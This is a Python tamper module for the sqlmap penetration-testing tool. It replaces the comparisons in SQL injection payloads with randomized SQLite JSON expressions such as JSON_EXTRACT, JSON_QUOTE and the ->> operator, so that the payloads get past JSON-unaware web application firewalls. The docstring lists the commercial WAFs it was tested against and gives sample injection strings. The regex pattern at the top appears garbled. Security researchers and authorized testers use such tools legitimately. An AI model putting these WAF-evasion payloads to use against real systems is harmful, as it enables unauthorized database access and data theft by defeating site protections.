#!/usr/bin/env python """ Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ # Patterns breaks down SQLi payload into different components, and replaces the logical comparison. pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
import re, random, string

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST
DEBUG = False


def dependencies():
	pass


# Possible int payloads:
# 1) JSON_LENGTH()
# 2) json_depth
# 3) JSON_EXTRACT()
# 3) JSON_EXTRACT operator

def generate_int_payload():
	INT_FUNCTIONS = [generate_length_payload, generate_int_extract_payload, generate_int_extract_operator_payload]
	return (random.choice(INT_FUNCTIONS))()


# Possible STR payloads:
# 2) JSON_EXTRACT
# 2) JSON_EXTRACT Operator
# 3) JSON_QUOTE('null')

def generate_str_payload():
	STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload, generate_str_extract_operator_payload]
	return (random.choice(STR_FUNCTIONS))()


def generate_random_string(length=15):
	str_length = random.randint(1, length)
	return "".join(random.choice(string.ascii_letters) for i in range(str_length))


def generate_random_int():
	return random.randint(2, 10000)


def generate_length_payload():
	rand_int = generate_random_int()
	return f"JSON_ARRAY_LENGTH(\"[]\") <= {generate_random_int()}"


def generate_quote_payload():
	var = generate_random_string()
	return f"JSON_QUOTE('{var}') = '\"{var}\"'"


def generate_int_extract_payload():
	return generate_extract_payload(isString=False)


def generate_str_extract_payload():
	return generate_extract_payload(isString=True)


def generate_int_extract_operator_payload():
	return generate_extract_operator_payload(isString=False)


def generate_str_extract_operator_payload():
	return generate_extract_operator_payload(isString=True)


def generate_extract_payload(isString=False):
	key = generate_random_string()
	if isString:
		value = generate_random_string()
		return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
	value = generate_random_int()
	return f'JSON_EXTRACT("{{""{key}"": {value}}}", "$.{key}") = {value}'


def generate_extract_operator_payload(isString=False):

	key = generate_random_string()
	if isString:
		value = generate_random_string()
		return f'\'{{"{key}": "{value}"}}\'->> \'$.{key}\' = \'{value}\''
	value = generate_random_int()
	return f'"{{""{key}"": {value}}}" ->> "$.{key}" = {value}'


def generate_payload(isString, isBrackets):
	payload = '(' if isBrackets else ""
	if isString:
		payload += generate_str_payload()[:-1]  # Do not use the last ' because the application will add it.
	else:
		payload += generate_int_payload()

	return payload


def generate_random_payload():
	if random.randint(0, 1):
		return generate_str_payload()
	return generate_int_payload()


def tamper(payload, **kwargs):
	"""
        
    Bypasses generic WAFs using JSON SQL Syntax. 

    For more details about JSON in SQLite - https://www.sqlite.org/json1.html

    Tested against:
        * SQLite v3.39.4 - however every version after v3.38.0 should work

    Usage:
        python3 sqlmap.py  --tamper json_waf_bypass_sqlite.py

    Notes:

    	* References: 
            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
        * JSON techniques were tested againts the following WAF vendors:
            * Amazon AWS ELB
            * CloudFlare
            * F5 BIG-IP
            * Palo-Alto Next Generation Firewall
            * Imperva Firewall

        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)

        Possible int payloads:
			1) JSON_LENGTH()
			2) json_depth
			3) JSON_EXTRACT()
			3) JSON_EXTRACT operator

        Possible STR payloads:
			2) JSON_EXTRACT
			2) JSON_EXTRACT Operator
			3) JSON_QUOTE('null')

    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
    ''' ' and 5626=9709  and JSON_QUOTE('UG') = '"UG" '''
    >>> tamper('and 4515=8950')
    '''  and JSON_ARRAY_LENGTH("[]") <= 9100 '''
    """
	retVal = payload

	if payload:
		match = re.search(pattern, payload)

		if match:
			pre = match.group('pre')

			# Is our payload is a string.
			isString = pre.startswith("'")
			isBrackets = pre.startswith("')") or pre.startswith(")")
			wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
			retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"

		else:

			if payload.lower().startswith("' union"):
				wafPayload = generate_random_payload()
				retVal = f"' and {wafPayload} {payload[1:]}"  # replace ' union select... with ' and FALSE_WAF_BYPASS union select...

	return retVal